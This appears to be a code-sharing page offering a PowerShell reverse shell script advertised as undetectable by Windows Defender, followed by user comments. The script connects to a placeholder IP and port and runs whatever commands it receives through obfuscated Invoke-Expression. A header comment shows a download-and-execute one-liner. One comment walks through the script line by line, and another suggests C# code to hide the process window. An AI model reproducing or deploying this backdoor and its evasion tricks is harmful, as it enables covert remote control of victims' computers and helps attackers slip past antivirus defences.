Powershell reverse shell script undetectable by windows defender

Undetectable_reverse_powershell_5-9-22.ps1

#based on original script by @nikhil_mitt. Change ip and port
#Undetectable on 05/09/2022
# Example  IEX(New-Object Net.WebClient).downloadString('http://<ip>/<file>.ps1')

$KLK = New-Object System.Net.Sockets.TCPClient('<ip>','<port>');
$PLP = $KLK.GetStream();
[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0};
$VVCCA = ([text.encoding]::UTF8).GetBytes("Succesfuly connected .`n`n")
$PLP.Write($VVCCA,0,$VVCCA.Length)
$VVCCA = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + ' > ')
$PLP.Write($VVCCA,0,$VVCCA.Length)
[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0};
while(($A = $PLP.Read($VVCCA, 0, $VVCCA.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($VVCCA,0, $A);
$VZZS = (i`eX $DD 2>&1 | Out-String );
$HHHHHH  = $VZZS + (pwd).Path + '! ';
$L = ([text.encoding]::UTF8).GetBytes($HHHHHH);
$PLP.Write($L,0,$L.Length);
$PLP.Flush()};
$KLK.Close()

Struggled to read this at first as I'm not great at PoSH obfuscation, interesting!

5: Create our TCP Socket to remote host

7: Create a zero'd buffer 65536 bytes long (implicit PoSH list comprehension "0..N"?)
(Integer 2 shifted left 15 binary positions = 65536)

8-9: Send initial connection string

10-11: Send working directory

12: Zero the buffer again

13: Read from the server socket stream up until the length of our buffer (break if zero data/socket disconnect), parse recieved buffer as a string

14: Invoke-Expression / execute it, capturing resulting stderr to stdout, both to $VZZS as a string

15: Prepare a response to server of executed output including the next terminal prompt of the current working directory

16-18: Convert response to bytes and send, flushing our buffers

nice

is there a way to hide the window -w hidden doesn't work in this case

ye you can try using C#, you can use the ProcessStartInfo class to start a process with a hidden window,
ProcessStartInfo info = new ProcessStartInfo("your_application.exe"); info.WindowStyle = ProcessWindowStyle.Hidden; info.CreateNoWindow = true; info.UseShellExecute = false; Process proc = Process.Start(info);